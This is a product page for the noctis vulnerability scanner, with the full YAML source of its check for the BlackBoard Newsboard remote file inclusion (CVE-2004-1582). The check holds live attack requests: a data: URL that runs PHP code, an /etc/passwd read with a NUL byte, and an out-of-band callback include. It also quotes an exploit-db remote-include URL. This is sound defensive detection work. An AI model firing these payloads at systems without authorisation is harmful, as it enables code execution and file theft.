Blackboard Newsboard — 1 vulnerability check

noctis ships 1 vulnerability check for Blackboard Newsboard, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

BlackBoard Internet Newsboard System checkdb.inc.php libpath Remote File Inclusion

CVECVE-2004-1582
Severityhigh · CVSS 7.5
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match, wait_oob · highest QoD 97
Feedtests/vulnerabilities/blackboard-newsboard/CVE-2004-1582.yaml

Tests BlackBoard Internet Newsboard System for the unauthenticated remote file inclusion in bb_lib/checkdb.inc.php, which builds an include path from the libpath global (set from the request when register_globals is On) followed by a file name ending in "_more.php". The feed requests bb_lib/checkdb.inc.php under the usual install folders with libpath (and its misspelled advisory name libpach) set to a data: URL carrying a small PHP snippet that prints the md5 of the product of two random numbers; that md5 in the reply confirms that the server ran code supplied in the request. It then sets libpath to /etc/passwd followed by a NUL byte: the contents of /etc/passwd in the reply (and not in the same request naming an absent file) confirm a local file inclusion. When OOB is enabled, libpath is also set to the scanner's callback URL followed by "?", and a fetch of that URL carrying the include's appended "_more.php" file name confirms the remote inclusion even when PHP output and errors are hidden. Otherwise, a PHP include warning naming a random value followed by "_more.php" shows that the value reaches the include unchecked. When none of these answers, forum.php is read and a BlackBoard version of 1.5.1-g or older in its footer is reported as a lower-confidence finding. The snippet only prints a hash and writes nothing on the server.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/bb_lib/checkdb.inc.php?libpath={{probe.data}}&libpach={{probe.data}}
  3. Parses / computes the next value with a Rhai script
  4. Checks rce_proof for ^[0-9a-f]{32}$ → finding QoD 97: BlackBoard Internet Newsboard System checkdb.inc.php libpath Remote File Inclusion (CVE-2004-1582)
  5. HTTP(S) request GET {{dir}}/bb_lib/checkdb.inc.php?libpath=%2Fetc%2Fpasswd%00&libpach=%2Fetc%2Fpasswd%00
  6. HTTP(S) request GET {{dir}}/bb_lib/checkdb.inc.php?libpath={{probe.absent}}&libpach={{probe.absent}}
  7. Parses / computes the next value with a Rhai script
  8. Parses / computes the next value with a Rhai script
  9. Parses / computes the next value with a Rhai script
  10. HTTP(S) request GET {{dir}}/bb_lib/checkdb.inc.php?libpath={{probe.marker}}&libpach={{probe.marker}}
  11. Parses / computes the next value with a Rhai script
  12. Parses / computes the next value with a Rhai script
  13. Parses / computes the next value with a Rhai script
  14. HTTP(S) request GET {{dir}}/bb_lib/checkdb.inc.php?libpath={{oob_url}}%3F&libpach={{oob_url}}%3F
  15. … and 10 more steps — see the feed source below

References:

Feed source — tests/vulnerabilities/blackboard-newsboard/CVE-2004-1582.yaml
# BlackBoard Internet Newsboard System checkdb.inc.php libpath remote file inclusion — CVE-2004-1582
#
# BlackBoard (Yves Goergen, blackboard.unclassified.de, later renamed
# Unclassified NewsBoard) 1.5.1 and earlier, fixed in 1.5.1-h. With
# register_globals On, bb_lib/checkdb.inc.php can be requested directly and
# includes a file whose name starts with the request's libpath global and
# ends in "_more.php" (NVD: "modifying the libpath parameter (incorrectly
# called "libpach") to reference a URL on a remote web server that contains
# _more.php"; exploit-db 24657 / BID 11336:
#   /bb_lib/checkdb.inc.php?libpach=http://www.example.com/ ).
# The text between the prefix and "_more.php" is not quoted by any public
# source, so every probe below is suffix-agnostic, and each request sets
# both spellings (libpath and libpach) to the same value.
#
# Detection, per install folder (web root, /blackboard, /bb, /board, /forum):
#   1. In-band code execution (QoD 97): libpath is a data: URL holding
#      <?php echo md5(A*B);exit;?> with random A and B. With allow_url_include
#      (PHP >= 5.2) the code runs and the reply carries md5 of the product, a
#      value the request never contains. exit; drops the appended suffix.
#      No quotes in the code (magic_quotes_gpc-safe); writes nothing.
#   2. Local file inclusion (QoD 75): libpath=/etc/passwd%00 — PHP < 5.3.4
#      with magic_quotes_gpc Off cuts the path at the NUL byte and prints
#      /etc/passwd. The same request naming an absent /etc/passwd<random>
#      must not print a passwd line (a page returning passwd text for any
#      request naming etc/passwd is ignored).
#   3. OOB (QoD 97, OOB enabled only): libpath is the callback URL + "?" so
#      the appended suffix lands in the query string; a fetch carrying that
#      "..._more.php" suffix is the remote inclusion (a bare fetch of the URL
#      is not reported), also seen on PHP 4 (no data: wrapper) with errors
#      hidden.
#   4. Fallback (QoD 75): libpath is a random name; the reply must carry a
#      PHP include()/require()/main() warning or "Failed opening" message
#      naming "<random>...._more.php": the value went, concatenated, into the
#      include.
#   5. Version fallback (QoD 70, only when 1-4 found nothing): forum.php
#      identifies BlackBoard (page title or "by Yves Goergen" footer) and its
#      footer version is 1.5.1-g or older.
#
# CVSS: NVD v2 7.5 (no v3 score).
#
# Ported from OpenVAS/Greenbone NVT pre2008/blackboard_remote_file_include.nasl
# (OID 1.3.6.1.4.1.25623.1.0.15450, GPL-2.0-only), which only greps /forum.php
# at the web root for the title and a version on the same line (a line-based
# egrep that misses pages printing them on separate lines, and whose "0\."
# alternative also matches e.g. 2.0.x). Improvements: real code execution /
# OOB / file-read proof on checkdb.inc.php, an absent-file control, a parsed
# version comparison, and several install folders.
uid: cdddef45-4014-4706-ac73-fc463b610a2f
name: "BlackBoard Internet Newsboard System checkdb.inc.php libpath Remote File Inclusion (CVE-2004-1582)"
description: |
  Tests BlackBoard Internet Newsboard System for the unauthenticated remote
  file inclusion in bb_lib/checkdb.inc.php, which builds an include path
  from the libpath global (set from the request when register_globals is On)
  followed by a file name ending in "_more.php". The feed requests
  bb_lib/checkdb.inc.php under the usual install folders with libpath (and
  its misspelled advisory name libpach) set to a data: URL carrying a small
  PHP snippet that prints the md5 of the product of two random numbers; that
  md5 in the reply confirms that the server ran code supplied in the
  request. It then sets libpath to /etc/passwd followed by a NUL byte: the
  contents of /etc/passwd in the reply (and not in the same request naming
  an absent file) confirm a local file inclusion. When OOB is enabled,
  libpath is also set to the scanner's callback URL followed by "?", and a
  fetch of that URL carrying the include's appended "_more.php" file name
  confirms the remote inclusion even when PHP output and errors are hidden.
  Otherwise, a PHP include warning naming a random value followed by
  "_more.php" shows that the value reaches the include unchecked. When none
  of these answers, forum.php is read and a BlackBoard version of 1.5.1-g or
  older in its footer is reported as a lower-confidence finding. The snippet
  only prints a hash and writes nothing on the server.
cves: [CVE-2004-1582]
cvss: 7.5
severity: high
category: rce
confidence_base: 0.30
tags: [blackboard, unclassified-newsboard, php, rfi, lfi, remote-file-inclusion, rce, register-globals, intrusive, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2004-1582"
  - "https://www.exploit-db.com/exploits/24657"
  - "https://www.securityfocus.com/bid/11336"
  - "https://www.exploit-db.com/ghdb/631"
  # OpenVAS/Greenbone NASL pre2008/blackboard_remote_file_include.nasl (GPL-2.0-only)

steps:
  # ── Probe values, shared by every folder ─────────────────────────────────
  # md5(A*B) is printed only when the included snippet actually runs.
  - id: build-probe
    action: script
    code: |
      let a = rand_int(10000, 99999);
      let b = rand_int(10000, 99999);
      #{
        data: "data%3Atext%2Fplain%2C%3C%3Fphp%20echo%20md5(" + a + "*" + b + ")%3Bexit%3B%3F%3E",
        expect: md5("" + (a * b)),
        marker: "noctis" + rand_str(12),
        absent: "%2Fetc%2Fpasswd" + rand_str(10) + "%00"
      }
    store_as: probe

  - id: init-warn-found
    action: set_var
    var_name: warn_found
    var_value: false

  - id: init-warn-dir
    action: set_var
    var_name: warn_dir
    var_value: ""

  - id: init-warn-proof
    action: set_var
    var_name: warn_proof
    var_value: ""

  - id: init-lfi-found
    action: set_var
    var_name: lfi_found
    var_value: false

  - id: init-lfi-dir
    action: set_var
    var_name: lfi_dir
    var_value: ""

  - id: init-lfi-proof
    action: set_var
    var_name: lfi_proof
    var_value: ""

  - id: init-oob-sent
    action: set_var
    var_name: oob_sent
    var_value: false

  - id: init-ver-found
    action: set_var
    var_name: ver_found
    var_value: false

  - id: init-ver-dir
    action: set_var
    var_name: ver_dir
    var_value: ""

  - id: init-ver-proof
    action: set_var
    var_name: ver_proof
    var_value: ""

  # ── Loop group: every following step up to the OOB wait runs once per
  # install folder. Each pass resets the values it reads.
  - id: init-rce-r
    action: set_var
    var_name: rce_r
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/blackboard", "/bb", "/board", "/forum"]

  - id: init-lfi-r
    action: set_var
    var_name: lfi_r
    var_value: {status: 0, body: ""}

  - id: init-ctl-r
    action: set_var
    var_name: ctl_r
    var_value: {status: 0, body: ""}

  - id: init-warn-r
    action: set_var
    var_name: warn_r
    var_value: {status: 0, body: ""}

  - id: init-ver-r
    action: set_var
    var_name: ver_r
    var_value: {status: 0, body: ""}

  - id: init-rce-proof
    action: set_var
    var_name: rce_proof
    var_value: ""

  - id: init-lfi-hit
    action: set_var
    var_name: lfi_hit
    var_value: false

  - id: init-warn-hit
    action: set_var
    var_name: warn_hit
    var_value: false

  - id: init-ver-hit
    action: set_var
    var_name: ver_hit
    var_value: ""

  # ── 1. data: URL — in-band code execution ────────────────────────────────
  - id: rce-probe
    action: http_request
    method: GET
    path: "{{dir}}/bb_lib/checkdb.inc.php?libpath={{probe.data}}&libpach={{probe.data}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: rce_r

  - id: rce-check
    action: script
    code: |
      if type_of(rce_r.body) == "string" && rce_r.body.contains(probe.expect) { probe.expect } else { "" }
    store_as: rce_proof

  - id: report-rce
    action: match
    source: rce_proof
    pattern: "^[0-9a-f]{32}$"
    condition: 'rce_proof != ""'
    on_match:
      finding:
        title: "BlackBoard Internet Newsboard System checkdb.inc.php libpath Remote File Inclusion (CVE-2004-1582)"
        description: "An unauthenticated request to BlackBoard's bb_lib/checkdb.inc.php with libpath set to a data: URL holding PHP code made the server run that code: the reply carried the md5 of the product of two random numbers that the request does not contain. checkdb.inc.php passes libpath to include() without any check, so an attacker can run any PHP code on the server."
        remediation: "Upgrade BlackBoard to 1.5.1-h or later (now Unclassified NewsBoard). Until then, block direct requests to the bb_lib/ folder, disable register_globals and set allow_url_include and allow_url_fopen to Off."
        confidence_delta: 0.65
        qod: 97
        evidence: "GET {{dir}}/bb_lib/checkdb.inc.php?libpath=data:text/plain,<?php echo md5(A*B);exit;?> returned the expected md5 {{rce_proof}} (included PHP code executed)"
      stop: true

  # ── 2. /etc/passwd + NUL byte — local file inclusion ─────────────────────
  - id: lfi-probe
    action: http_request
    method: GET
    path: "{{dir}}/bb_lib/checkdb.inc.php?libpath=%2Fetc%2Fpasswd%00&libpach=%2Fetc%2Fpasswd%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "lfi_found == false && rce_r.status != 404"
    store_as: lfi_r

  - id: lfi-control
    action: http_request
    method: GET
    path: "{{dir}}/bb_lib/checkdb.inc.php?libpath={{probe.absent}}&libpach={{probe.absent}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lfi_found == false && type_of(lfi_r.body) == "string" && lfi_r.body.contains(":0:0:")'
    store_as: ctl_r

  # Fail-closed: the control must have answered (status > 0) without a
  # passwd root line.
  - id: lfi-check
    action: script
    code: |
      let re = "^root:[^:]*:0:0:";
      let b = if type_of(lfi_r.body) == "string" { lfi_r.body } else { "" };
      let c = if type_of(ctl_r.body) == "string" { ctl_r.body } else { "" };
      egrep(re, b) != "" && ctl_r.status > 0 && egrep(re, c) == ""
    condition: "lfi_found == false"
    store_as: lfi_hit

  - id: lfi-dir
    action: script
    code: "dir"
    condition: "lfi_found == false && lfi_hit"
    store_as: lfi_dir

  - id: lfi-proof
    action: script
    code: |
      let l = eregmatch("root:[^:\n]*:0:0:[^\n<]*", lfi_r.body);
      if type_of(l) == "array" && l.len() > 0 { l[0] } else { "root:...:0:0:" }
    condition: "lfi_found == false && lfi_hit"
    store_as: lfi_proof

  - id: lfi-found
    action: set_var
    var_name: lfi_found
    var_value: true
    condition: "lfi_hit"

  # ── 4. Random value — include warning naming it, ending in _more.php ─────
  - id: warn-probe
    action: http_request
    method: GET
    path: "{{dir}}/bb_lib/checkdb.inc.php?libpath={{probe.marker}}&libpach={{probe.marker}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    # Also when the code probe got no reply (status 0, e.g. a filter dropping
    # "<?php"): this plain request may still get through.
    condition: "warn_found == false && lfi_found == false && rce_r.status != 404"
    store_as: warn_r

  # The warning must name the random value followed (with no quote, bracket
  # or space in between) by a file name ending in _more.php: a page that
  # only echoes the request never contains "_more.php".
  - id: warn-check
    action: script
    code: |
      let b = if type_of(warn_r.body) == "string" { warn_r.body } else { "" };
      let tail = "[A-Za-z0-9_./-]*_more\\.php";
      let re = "((include|require|include_once|require_once|main)\\(" + probe.marker + tail + "\\)|Failed opening( required)? '" + probe.marker + tail + "')";
      let m = eregmatch(re, b);
      if type_of(m) == "array" && m.len() > 0 { m[0] } else { "" }
    condition: "warn_found == false"
    store_as: warn_hit

  - id: warn-dir
    action: script
    code: "dir"
    condition: 'warn_found == false && warn_hit != ""'
    store_as: warn_dir

  - id: warn-proof
    action: script
    code: "warn_hit"
    condition: 'warn_found == false && warn_hit != ""'
    store_as: warn_proof

  - id: warn-found
    action: set_var
    var_name: warn_found
    var_value: true
    condition: 'warn_hit != ""'

  # ── 3. Callback URL — remote inclusion seen out of band ──────────────────
  # Sent to every folder not answering 404 (a server hiding PHP errors gives
  # no in-band sign). "%3F" makes the appended suffix a query string.
  - id: oob-probe
    action: http_request
    method: GET
    path: "{{dir}}/bb_lib/checkdb.inc.php?libpath={{oob_url}}%3F&libpach={{oob_url}}%3F"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "oob_enabled && rce_r.status != 404"

  - id: oob-sent
    action: set_var
    var_name: oob_sent
    var_value: true
    condition: "oob_enabled && rce_r.status != 404"

  # ── 5. forum.php footer version (fallback evidence) ──────────────────────
  - id: ver-probe
    action: http_request
    method: GET
    path: "{{dir}}/forum.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "ver_found == false"
    store_as: ver_r

  # Returns the footer text ("BlackBoard 1.5.1-f") when the page identifies
  # BlackBoard and the version is 1.5.1-g or older; "" otherwise.
  # Vulnerable: 0.x, 1.0-1.4.x, 1.5, 1.5.0, 1.5.1 and 1.5.1-a … 1.5.1-g.
  - id: ver-check
    action: script
    code: |
      let b = if ver_r.status == 200 && type_of(ver_r.body) == "string" { ver_r.body } else { "" };
      let ident = egrep("(?i)<title>[^<]*BlackBoard Internet Newsboard System[^<]*</title>|by Yves Goergen", b) != "";
      let m = eregmatch("BlackBoard ([0-9]+)\\.([0-9]+)(\\.([0-9]+))?(-([a-z]))?\\b", b);
      let out = "";
      if ident && type_of(m) == "array" && m.len() > 6 {
        let major = int(m[1]);
        let minor = int(m[2]);
        let patch = if m[4] != "" { int(m[4]) } else { -1 };
        let rev = m[6];
        let vuln = false;
        if major == 0 { vuln = true; }
        else if major == 1 && minor < 5 { vuln = true; }
        else if major == 1 && minor == 5 && patch <= 0 { vuln = true; }
        else if major == 1 && minor == 5 && patch == 1 && (rev == "" || rev <= "g") { vuln = true; }
        if vuln { out = m[0]; }
      }
      out
    condition: "ver_found == false"
    store_as: ver_hit

  - id: ver-dir
    action: script
    code: "dir"
    condition: 'ver_found == false && ver_hit != ""'
    store_as: ver_dir

  - id: ver-proof
    action: script
    code: "ver_hit"
    condition: 'ver_found == false && ver_hit != ""'
    store_as: ver_proof

  - id: ver-found
    action: set_var
    var_name: ver_found
    var_value: true
    condition: 'ver_hit != ""'

  # The callback must carry the suffix the include appended ("..._more.php",
  # in the query string thanks to the "?"): an application that merely
  # fetches URL parameters would request the bare callback URL.
  - id: oob-wait
    action: wait_oob
    oob_timeout_secs: 20
    condition: "oob_enabled && oob_sent"
    store_as: oob_cb

  - id: oob-check
    action: script
    code: |
      let hit = "";
      if is_def_var("oob_cb") && type_of(oob_cb) == "map" && "query" in oob_cb && type_of(oob_cb.query) == "map" {
        for k in oob_cb.query.keys() {
          let v = oob_cb.query[k];
          let kv = if type_of(v) == "string" && v != "" { k + "=" + v } else { k };
          if hit == "" && kv.contains("_more.php") { hit = kv; }
        }
      }
      hit
    store_as: oob_proof

  - id: report-oob
    action: match
    source: oob_proof
    pattern: "_more\\.php"
    condition: 'oob_proof != ""'
    on_match:
      finding:
        title: "BlackBoard Internet Newsboard System checkdb.inc.php libpath Remote File Inclusion (CVE-2004-1582)"
        description: "An unauthenticated request to BlackBoard's bb_lib/checkdb.inc.php with libpath set to the noctis callback URL made the server fetch that URL with the include's own file-name suffix appended (ending in _more.php): checkdb.inc.php passes libpath to include() without any check, so an attacker can make it fetch and run PHP code from a server they control."
        remediation: "Upgrade BlackBoard to 1.5.1-h or later (now Unclassified NewsBoard). Until then, block direct requests to the bb_lib/ folder, disable register_globals and set allow_url_include and allow_url_fopen to Off."
        confidence_delta: 0.65
        qod: 97
        evidence: "OOB HTTP callback received after GET <install folder>/bb_lib/checkdb.inc.php?libpath=<OOB URL>?, carrying the appended include suffix \"{{oob_proof}}\" (remote file inclusion)"
      stop: true

  # ── Local file inclusion finding ─────────────────────────────────────────
  - id: report-lfi
    action: match
    source: lfi_proof
    pattern: "^root:"
    condition: 'lfi_proof != ""'
    on_match:
      finding:
        title: "BlackBoard Internet Newsboard System checkdb.inc.php libpath Local File Inclusion (CVE-2004-1582)"
        description: "An unauthenticated request to BlackBoard's bb_lib/checkdb.inc.php with libpath set to /etc/passwd followed by a NUL byte returned the contents of /etc/passwd, while the same request naming an absent file did not: checkdb.inc.php passes libpath to include() without any check, so an attacker can read and run local files. Remote code execution was not confirmed (URL inclusion may be disabled, or OOB was not enabled)."
        remediation: "Upgrade BlackBoard to 1.5.1-h or later (now Unclassified NewsBoard). Until then, block direct requests to the bb_lib/ folder, disable register_globals, set allow_url_include to Off and upgrade PHP."
        confidence_delta: 0.55
        qod: 75
        evidence: "GET {{lfi_dir}}/bb_lib/checkdb.inc.php?libpath=/etc/passwd%00 returned the /etc/passwd line \"{{lfi_proof}}\" (absent-file control: no passwd line)"
      stop: true

  # ── Fallback finding: include warning naming the random value ────────────
  - id: report-warn
    action: match
    source: warn_proof
    pattern: "noctis[0-9a-zA-Z]+[A-Za-z0-9_./-]*_more\\.php"
    condition: 'warn_proof != ""'
    on_match:
      finding:
        title: "BlackBoard Internet Newsboard System checkdb.inc.php libpath File Inclusion (CVE-2004-1582)"
        description: "An unauthenticated request to BlackBoard's bb_lib/checkdb.inc.php with libpath set to a random value returned a PHP include warning for that value followed by a file name ending in _more.php: checkdb.inc.php passes libpath to include() without any check. Code execution was not confirmed (URL inclusion may be disabled, or OOB was not enabled), but the include path is attacker-controlled."
        remediation: "Upgrade BlackBoard to 1.5.1-h or later (now Unclassified NewsBoard). Until then, block direct requests to the bb_lib/ folder, disable register_globals and set allow_url_include and allow_url_fopen to Off."
        confidence_delta: 0.50
        qod: 75
        evidence: "GET {{warn_dir}}/bb_lib/checkdb.inc.php?libpath={{probe.marker}} returned the PHP include warning \"{{warn_proof}}\""
      stop: true

  # ── Version fallback ─────────────────────────────────────────────────────
  - id: report-version
    action: match
    source: ver_proof
    pattern: "^BlackBoard [0-9]"
    condition: 'ver_proof != ""'
    on_match:
      finding:
        title: "BlackBoard Internet Newsboard System <= 1.5.1-g Remote File Inclusion (CVE-2004-1582)"
        description: "BlackBoard's forum.php reports a version of 1.5.1-g or older, which is affected by an unauthenticated remote file inclusion in bb_lib/checkdb.inc.php (libpath parameter) allowing PHP code execution when register_globals is On. The inclusion itself could not be confirmed (PHP output may be hidden, or OOB was not enabled)."
        remediation: "Upgrade BlackBoard to 1.5.1-h or later (now Unclassified NewsBoard). Until then, block direct requests to the bb_lib/ folder, disable register_globals and set allow_url_include and allow_url_fopen to Off."
        confidence_delta: 0.40
        qod: 70
        evidence: "GET {{ver_dir}}/forum.php reports \"{{ver_proof}}\" (fixed in 1.5.1-h)"
      stop: true

View these feeds on GitHub